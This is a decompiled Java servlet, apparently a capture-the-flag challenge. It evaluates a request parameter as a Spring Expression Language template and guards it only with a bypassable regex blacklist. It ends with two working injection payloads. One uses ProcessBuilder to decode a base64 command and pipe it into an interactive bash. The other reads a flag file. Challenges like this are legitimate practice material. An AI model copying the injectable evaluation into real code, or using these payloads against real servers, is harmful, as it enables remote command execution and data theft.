//

// Source code recreated from a .class file by IntelliJ IDEA

// (powered by FernFlower decompiler)

//

package com.abc.servlet;

import java.io.IOException;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import org.springframework.expression.Expression;

import org.springframework.expression.ParserContext;

import org.springframework.expression.common.TemplateParserContext;

import org.springframework.expression.spel.standard.SpelExpressionParser;

import org.springframework.expression.spel.support.StandardEvaluationContext;

public class TestServlet extends HttpServlet {

    public TestServlet() {

    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        this.doPost(req, resp);

    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        try {

            String name = request.getParameter("name");

            name = new String(name.getBytes("ISO8859-1"), "UTF-8");

            if (this.blackMatch(name)) {

                request.setAttribute("message", "name is invalid");

                request.getRequestDispatcher("/message.jsp").forward(request, response);

                return;

            }

            System.out.println(name);

            String message = this.getAdvanceValue(name);

            request.setAttribute("message", message);

            request.getRequestDispatcher("/message.jsp").forward(request, response);

        } catch (Exception var5) {

            request.setAttribute("message", "error");

            request.getRequestDispatcher("/message.jsp").forward(request, response);

        }

    }

    private boolean blackMatch(String val) {

        String[] var2 = this.getBlacklist();

        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {

            String keyword = var2[var4];

            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);

            if (matcher.find()) {

                return true;

            }

        }

        return false;

    }

    private String getAdvanceValue(String val) {

        ParserContext parserContext = new TemplateParserContext();

        SpelExpressionParser parser = new SpelExpressionParser();

        Expression exp = parser.parseExpression(val, parserContext);

        StandardEvaluationContext evaluationContext = new StandardEvaluationContext();

        return exp.getValue(evaluationContext).toString();

    }

    private String[] getBlacklist() {

        return new String[]{"java.+lang", "Runtime", "exec.*\\("};

    }

}

name=#{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("bash","-c","{echo,bHMgL3xiYXNlNjQ=}|{base64,-d}|{bash,-i}").start().getInputStream(), "gbk")).readLine()}

name=#{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cat","/f1AgJvav").start().getInputStream(), "gbk")).readLine()}